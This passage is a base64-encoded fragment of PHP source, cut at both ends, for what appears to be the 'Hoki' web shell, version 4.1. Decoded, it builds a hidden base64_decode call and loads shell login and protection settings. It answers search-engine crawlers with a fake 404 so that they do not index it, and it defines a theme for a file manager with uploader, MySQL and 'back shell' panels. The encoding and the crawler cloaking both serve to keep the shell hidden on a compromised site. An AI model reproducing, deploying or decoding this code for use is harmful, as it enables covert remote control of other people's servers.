NlJyAuICc2JyAuICc0JyAuICdfZCcgLiAnZWNvZCcgLiAnZScgLiAnJzsKICAgICAgICByZXR1cm4gJGIoJHMpOwogICAgfQp9CgpmdW5jdGlvbiBfX1pXNWpiMlJsY2coJHMpCnsKICAgIHJldHVybiB2Y252U0NaZ0J6KCRzKTsKfQpmdW5jdGlvb
iBfX1pHVmpiMlJsY2coJHMpCnsKICAgIHJldHVybiB6UnRTSHNiVHpWKCRzKTsKfQoKJEdMT0JBTFNbJ0RCX05BTUUnXSA9ICRHTE9CQUxTWydvWmdOeXBvUFJVJ107Cgpmb3JlYWNoICgkR0xPQkFMU1snREJfTkFNRSddIGFzICRrZXkgPT4gJHZh
bHVlKQp7CgkkcHJlZml4ID0gc3Vic3RyKCRrZXksIDAsIDIpOwoJaWYgKCRwcmVmaXggPT0gInVzIikKCXsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJ1c2VyIl0gPSAkdmFsdWU7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsidXNlcl9yYW5kIl0gPSA
ka2V5OwoJfQoJZWxzZWlmICgkcHJlZml4ID09ICJwYSIpCgl7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsicGFzcyJdID0gJHZhbHVlOwoJCSRHTE9CQUxTWydEQl9OQU1FJ11bInBhc3NfcmFuZCJdID0gJGtleTsKCX0KCWVsc2VpZiAoJHByZWZpeC
A9PSAic2EiKQoJewoJCSRHTE9CQUxTWydEQl9OQU1FJ11bInNhZmVtb2RlIl0gPSAkdmFsdWU7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsic2FmZW1vZGVfcmFuZCJdID0gJGtleTsKCX0KCWVsc2VpZiAoJHByZWZpeCA9PSAibG8iKQoJewoJCSRHT
E9CQUxTWydEQl9OQU1FJ11bImxvZ2luX3BhZ2UiXSA9ICR2YWx1ZTsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJsb2dpbl9wYWdlX3JhbmQiXSA9ICRrZXk7Cgl9CgllbHNlaWYgKCRwcmVmaXggPT0gInNoIikKCXsKCQkkR0xPQkFMU1snREJfTkFN
RSddWyJzaG93X2ljb25zIl0gPSAkdmFsdWU7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsic2hvd19pY29uc19yYW5kIl0gPSAka2V5OwoJfQoJZWxzZWlmICgkcHJlZml4ID09ICJwbyIpCgl7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsicG9zdF9lbmN
yeXB0aW9uIl0gPSAkdmFsdWU7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsicG9zdF9lbmNyeXB0aW9uX3JhbmQiXSA9ICRrZXk7Cgl9CgllbHNlaWYgKCRwcmVmaXggPT0gImNnIikKCXsKCQkkR0xPQkFMU1snREJfTkFNRSddWyJjZ2lfYXBpIl0gPS
AkdmFsdWU7CgkJJEdMT0JBTFNbJ0RCX05BTUUnXVsiY2dpX2FwaV9yYW5kIl0gPSAka2V5OwoJfQp9Cgp1bnNldCgkR0xPQkFMU1snb1pnTnlwb1BSVSddKTsKCmlmICghaXNzZXQoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKSkgZXhpdCgpOwoKaWYoI
WVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpeyR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsIlNsdXJwIiwiTVNOQm90IiwiaWFfYXJjaGl2ZXIiLCJZYW5kZXgiLCJSYW1ibGVyIiwiYm90Iiwic3BpZGVyIik7aWYocHJlZ19t
YXRjaCgnLycuaW1wbG9kZSgnfCcsJHVzZXJBZ2VudHMpLicvaScsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7aGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7ZXhpdDt9fQppZighaXNzZXQoJEdMT0JBTFNbJ0RCX05BTUUnXVs
ndXNlciddKSlleGl0KCckR0xPQkFMU1tcJ0RCX05BTUVcJ11bXCd1c2VyXCddJyk7CmlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWydwYXNzJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3Bhc3NcJ10nKTsKaWYoIWlzc2V0KC
RHTE9CQUxTWydEQl9OQU1FJ11bJ3NhZmVtb2RlJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3NhZmVtb2RlXCddJyk7CmlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWydsb2dpbl9wYWdlJ10pKWV4aXQoJyRHTE9CQUxTW1wnR
EJfTkFNRVwnXVtcJ2xvZ2luX3BhZ2VcJ10nKTsKaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Nob3dfaWNvbnMnXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wnc2hvd19pY29uc1wnXScpOwppZighaXNzZXQoJEdMT0JBTFNb
J0RCX05BTUUnXVsncG9zdF9lbmNyeXB0aW9uJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3Bvc3RfZW5jcnlwdGlvblwnXScpOwpkZWZpbmUoIl9fSE9LSV9WRVJTSU9OX18iLCAiNC4xIik7CmRlZmluZSgiX19IT0tJX1VQREFURV9
fIiwgIjIiKTsKZGVmaW5lKCJfX0hPS0lfQ09ERV9OQU1FX18iLCAiS2lzZXJ5b3VuaSIpOwpkZWZpbmUoIl9fSE9LSV9EQVRBX0ZPTERFUl9fIiwgIkhPS0lfREFUQSIpOwpkZWZpbmUoIl9fSE9LSV9QT1NUX0VOQ1JZUFRJT05fXyIsIChpc3NldC
gkR0xPQkFMU1siREJfTkFNRSJdWyJwb3N0X2VuY3J5cHRpb24iXSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bInBvc3RfZW5jcnlwdGlvbiJdPT10cnVlP3RydWU6ZmFsc2UpKTsKZGVmaW5lKCJfX0hPS0lfU0VDUkVUX0tFWV9fIiwgX19IT0tJX1BPU
1RfRU5DUllQVElPTl9fP19Ib2tpU2VjcmV0S2V5KCk6JycpOwokR0xPQkFMU1snX19IT0tJX0NPTE9SX18nXSA9IGFycmF5KAoJCSJzaGVsbF9ib3JkZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzBFMzA0QSIsCgkJCSJtdWx0aV9z
ZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmhlYWRlciIgPT4gImJvcmRlcjogN3B4IHNvbGlkIHtjb2xvcn0iLAoJCQkJIiNtZXVubGlzdCIgPT4gImJvcmRlci1jb2xvcjoge2NvbG9yfSIsCgkJCQkiI2hpZGRlbl9zaCIgPT4gImJhY2tncm91bmQ
tY29sb3I6IHtjb2xvcn0iLAoJCQkJIi5hamF4YXJlYSIgPT4gImJvcmRlcjogMXB4IHNvbGlkIHtjb2xvcn0iLAoJCQkJIi5mb290IiA9PiAiYm9yZGVyLWNvbG9yOiB7Y29sb3J9IiwKCQkJKQoJCSksCgkJImhlYWRlcl92YXJzIiA9PiAiIzI3OT
c5QiIsCgkJImhlYWRlcl92YWx1ZXMiID0+ICIjNjdBQkRGIiwKCQkiaGVhZGVyX29uIiA9PiAiIzAwRkYwMCIsCgkJImhlYWRlcl9vZmYiID0+ICIjZmYwMDAwIiwKCQkiaGVhZGVyX25vbmUiID0+ICIjMDBGRjAwIiwKCQkiaG9tZV9zaGVsbCIgP
T4gIiNmZjAwMDAiLAoJCSJob21lX3NoZWxsOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5ob21lX3NoZWxsOmhvdmVyIiA9PiAiY29sb3I6IHtj
b2xvcn07IiwKCQkJKQoJCSksCgkJImJhY2tfc2hlbGwiID0+ICIjZWZiZTczIiwKCQkiYmFja19zaGVsbDpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQk
JCSIuYmFja19zaGVsbDpob3ZlciIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJoZWFkZXJfcHdkIiA9PiAiIzAwRkYwMCIsCgkJImhlYWRlcl9wd2Q6aG92ZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRi
IsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmhlYWRlcl9wd2Q6aG92ZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiaGVhZGVyX2RyaXZlIiA9PiAiIzAwRkYwMCIsCgkJImhlYWRlcl9kcml2ZTpob3Zlc
iIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuaGVhZGVyX2RyaXZlOmhvdmVyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImhlYWRlcl9z
aG93X2FsbCIgPT4gIiMwMEZGMDAiLAoJCSJkaXNhYmxlX2Z1bmN0aW9ucyIgPT4gIiNmZjAwMDAiLAoJCSJmb290ZXJfdGV4dCIgPT4gIiMyNzk3OUIiLAoJCSJtZW51X29wdGlvbnMiID0+ICIjMjc5NzlCIiwKCQkibWVudV9vcHRpb25zOmhvdmV
yIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiM2NDY0NjQiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5tZW51X29wdGlvbnM6aG92ZXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9O2ZvbnQtd2VpZ2h0Oi
B1bnNldDsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0IiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwMEZGMDAiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5oZWFkZ
XIgY2VudGVyIGEiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0OmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJ
Ii5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5oZWFkZXIgY2VudGVyIGE6aG92ZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0X2hlYWRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjNTljYzM
zIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIudHh0Zm9udF9oZWFkZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkib3B0aW9uc19saXN0X3RleHQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiI0
ZGRkZGRiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLnR4dGZvbnQsLnRibHR4dCIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJIb2tpKyIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMDZmZjBmI
iwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuaG9raV9wbHVzIiA9PiAiY29sb3I6IHtjb2xvcn07Zm9udC13ZWlnaHQ6IHVuc2V0OyIsCgkJCSkKCQkpLAoJCSJoaWRkZW5fc2hlbGxfdGV4dCIgPT4gYXJyYXkoCgkJCSJrZXlf
Y29sb3IiID0+ICIjMDBGRjAwIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIjaGlkZGVuX3NoIGEiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiaGlkZGVuX3NoZWxsX3ZlcnNpb24iID0+ICIjZmYwMDAwIiw
KCQkic2hlbGxfbmFtZSIgPT4gIiNGRjAwMDAiLAoJCSJtYWluX3Jvdzpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjNjQ2NDY0IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWFpbiB0cjpob3ZlciIgPT
4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1haW5faGVhZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5tYWluIHRoI
iA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1haW5fbmFtZSIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWFpbiAubWFpbl9uYW1lIiA9
PiAiY29sb3I6IHtjb2xvcn07Zm9udC13ZWlnaHQ6IHVuc2V0OyIsCgkJCSkKCQkpLAoJCSJtYWluX3NpemUiID0+ICIjNjdBQkRGIiwKCQkibWFpbl9tb2RpZnkiID0+ICIjNjdBQkRGIiwKCQkibWFpbl9vd25lcl9ncm91cCIgPT4gIiM2N0FCREY
iLAoJCSJtYWluX2dyZWVuX3Blcm0iID0+ICIjMjVmZjAwIiwKCQkibWFpbl9yZWRfcGVybSIgPT4gIiNGRjAwMDAiLAoJCSJtYWluX3doaXRlX3Blcm0iID0+ICIjRkZGRkZGIiwKCQkiYmVldHdlZW5fcGVybXMiID0+ICIjRkZGRkZGIiwKCQkibW
Fpbl9hY3Rpb25zIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5tYWluIC5hY3Rpb25zIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1lb
nVfb3B0aW9uczpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjNjQ2NDY0IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWVudV9vcHRpb25zOmhvdmVyIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9y
fTtmb250LXdlaWdodDogdW5zZXQ7IiwKCQkJKQoJCSksCgkJIm1pbmltaXplX2VkaXRvcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwZTMwNGEiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5
taW5pbWl6ZWQtd3JhcHBlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJIm1pbmltaXplX2VkaXRvcl90ZXh0IiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNmNWRlYjMiLAoJCQkibXVsdGlfc2VsZW
N0b3IiID0+IGFycmF5KAoJCQkJIi5taW5pbWl6ZWQtdGV4dCIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfYm9yZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwZTMwNGEiLAoJCQkibXVsdGlfc2VsZ
WN0b3IiID0+IGFycmF5KAoJCQkJIi5lZGl0b3ItZXhwbG9yZXIsLmVkaXRvci1tb2RhbCIgPT4gImJvcmRlcjogMnB4IHNvbGlkIHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImVkaXRvcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgKCQkJImtleV9jb2xv
ciIgPT4gInJnYmEoMCwgMSwgMjMsIDAuOTQpIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuZWRpdG9yLWV4cGxvcmVyLC5lZGl0b3ItbW9kYWwiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAo
JCSJlZGl0b3JfaGVhZGVyX2JhY2tncm91bmQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAicmdiYSgyMSwgNjYsIDg4LCAwLjkzKSIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmVkaXRvci1oZWFkZXIiID0+ICJiYW
NrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGVhZGVyX3RleHQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzAwZmY3ZiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmVkaXRvc
i1wYXRoIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImVkaXRvcl9oZWFkZXJfYnV0dG9uIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMxZDU2NzMiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5j
bG9zZS1idXR0b24sIC5lZGl0b3ItbWluaW1pemUiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfYWN0aW9ucyIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwKCQkJIm11bHR
pX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuZWRpdG9yX2FjdGlvbnMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2ZpbGVfaW5mb192YXJzIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLA
oJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5lZGl0b3JfZmlsZV9pbmZvX3ZhcnMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2ZpbGVfaW5mb192YWx1ZXMiID0+IGFycmF5KAoJCQkia2V5X2Nvb
G9yIiA9PiAiIzY3QUJERiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmZpbGVzdG9vbHMiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2hpc3RvcnlfaGVhZGVyIiA9PiBhcnJheSgKCQkJImtl
eV9jb2xvciIgPT4gIiMxNGZmMDciLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5oaGVhZGVyLXRleHQsLmhpc3RvcnktY2xlYXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiZWRpdG9yX2hpc3RvcnlfbGl
zdCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMDNiM2EzIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuZWRpdG9yLWZpbGUtbmFtZSIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaG
lzdG9yeV9zZWxlY3RlZF9maWxlIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gInJnYmEoNDksIDU1LCA5MywgMC43NykiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5pc19hY3RpdmUiID0+ICJiYWNrZ3JvdW5kLWNvb
G9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJlZGl0b3JfaGlzdG9yeV9maWxlOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiM2NDY0NjQiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5maWxlLWhvbGRl
ciA+IC5oaXN0b3J5OmhvdmVyIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiaW5wdXRfYm94X2JvcmRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKCQkJIm11bHRpX3NlbGVjdG9
yIiA9PiBhcnJheSgKCQkJCSJpbnB1dFt0eXBlPXRleHRdLHRleHRhcmVhIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfSIsCgkJCSkKCQkpLAoJCSJpbnB1dF9ib3hfdGV4dCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjOTk5OT
k5IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJpbnB1dFt0eXBlPXRleHRdLHRleHRhcmVhIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImlucHV0X2JveDpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb
3IiID0+ICIjMjc5NzlCIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJpbnB1dFt0eXBlPXRleHRdOmhvdmVyLHRleHRhcmVhOmhvdmVyIiA9PiAiYm94LXNoYWRvdzowIDAgNHB4IHtjb2xvcn07Ym9yZGVyOjFweCBzb2xpZCB7
Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJzZWxlY3RfYm94X2JvcmRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJzZWxlY3QiID0+ICJib3JkZXI6IDFweCB
zb2xpZCB7Y29sb3J9IiwKCQkJKQoJCSksCgkJInNlbGVjdF9ib3hfdGV4dCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkVFIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJzZWxlY3QiID0+ICJjb2xvcjoge2
NvbG9yfTsiLAoJCQkpCgkJKSwKCQkic2VsZWN0X2JveDpob3ZlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMjc5NzlCIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSJzZWxlY3Q6aG92ZXIiID0+ICJib3gtc2hhZ
G93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MXB4IHNvbGlkIHtjb2xvcn07IiwKCQkJKQoJCSksCgkJImJ1dHRvbl9ib3JkZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzI3OTc5QiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJy
YXkoCgkJCQkiaW5wdXRbdHlwZT1zdWJtaXRdLC5idXR0b24sI2FkZHVwIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkiYnV0dG9uOmhvdmVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMyNzk3OUI
iLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJImlucHV0W3R5cGU9c3VibWl0XTpob3ZlciIgPT4gImJveC1zaGFkb3c6MCAwIDRweCB7Y29sb3J9O2JvcmRlcjoycHggc29saWQge2NvbG9yfTsiLAoJCQkJIi5idXR0b246aG92ZX
IsI2FkZHVwOmhvdmVyIiA9PiAiYm94LXNoYWRvdzowIDAgNHB4IHtjb2xvcn07Ym9yZGVyOjFweCBzb2xpZCB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJvdXRwdXRzX3RleHQiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzY3QUJERiIsC
gkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLm1sMSIgPT4gImNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJvdXRwdXRzX2JvcmRlciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwKCQkJIm11bHRp
X3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIubWwxIiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkidXBsb2FkZXJfYm9yZGVyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwRTMwNEEiLAoJCQkibXV
sdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5pbnB1dGZpbGUiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MXB4IHNvbGlkIHtjb2xvcn07IiwKCQkJKQoJCSksCgkJInVwbG9hZGVyX2JhY2tncm91bmQiID0+IGFycm
F5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzBFMzA0QSIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmlucHV0ZmlsZSBzdHJvbmciID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJ1cGxvYWRlc
l90ZXh0X3JpZ2h0IiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIi5pbnB1dGZpbGUgc3Ryb25nIiA9PiAiY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJ
InVwbG9hZGVyX3RleHRfbGVmdCIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMjVmZjAwIiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIuaW5wdXRmaWxlIHNwYW4iID0+ICJjb2xvcjoge2NvbG9yfTsiLAoJCQkpCgk
JKSwKCQkidXBsb2FkZXI6aG92ZXIiID0+IGFycmF5KAoJCQkia2V5X2NvbG9yIiA9PiAiIzI3OTc5QiIsCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoCgkJCQkiLmlucHV0ZmlsZTpob3ZlciIgPT4gImJveC1zaGFkb3c6MCAwIDRweCB7Y2
9sb3J9O2JvcmRlcjoxcHggc29saWQge2NvbG9yfTsiLAoJCQkpCgkJKSwKCQkidXBsb2FkZXJfcHJvZ3Jlc3NfYmFyIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwMGZmMDAiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJC
QkJIi51cF9iYXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsCgkJCSkKCQkpLAoJCSJteXNxbF90YWJsZXMiID0+ICIjMDBGRjAwIiwKCQkibXlzcWxfdGFibGVfY291bnQiID0+ICIjNjdBQkRGIiwKCQkiY29weXJpZ2h0IiA9PiAi
I2RmZmYwMCIsCgkJInNjcm9sbGJhciIgPT4gYXJyYXkoCgkJCSJrZXlfY29sb3IiID0+ICIjMWU4MmI1IiwKCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgKCQkJCSIqOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiIgPT4gImJhY2tncm91bmQ
tY29sb3I6IHtjb2xvcn07IiwKCQkJKQoJCSksCgkJInNjcm9sbGJhcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgKCQkJImtleV9jb2xvciIgPT4gIiMwMDAxMTUiLAoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KAoJCQkJIio6Oi13ZWJraXQtc2
Nyb2xsYmFyLXRyYWNrIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLAoJCQkpCgkJKSwKKTsKJEdMT0JBTFNbJ19fZmlsZV9wYXRoJ10gPSBzdHJfcmVwbGFjZSgnXFwnLCcvJyx0cmltKHByZWdfcmVwbGFjZSgnIVwoXGQrXClccy4qI
ScsICcnLCBfX0ZJTEVfXykpKTsKJGNvbmZpZyA9IGFycmF5KCdIb2tpVXNlcicgPT4gJEdMT0JBTFNbJ0RCX05BTUUnXVsndXNlciddLCdIb2tpUGFzcycgPT4gJEdMT0JBTFNbJ0RCX05BTUUnXVsncGFzcyddLCdIb2tpUHJvdGVjdFNoZWxsJyA9
PiAkR0xPQkFMU1snREJfTkFNRSddWydzYWZlbW9kZSddLCdIb2tpTG9naW5QYWdlJyA9PiAkR0xPQkFMU1snREJfTkFNRSddWydsb2dpbl9wYWdlJ10pOwovL0BzZXNzaW9uX3N0YXJ0KCk7CkBzZXNzaW9uX3dyaXRlX2Nsb3NlKCk7CkBpZ25vcmV
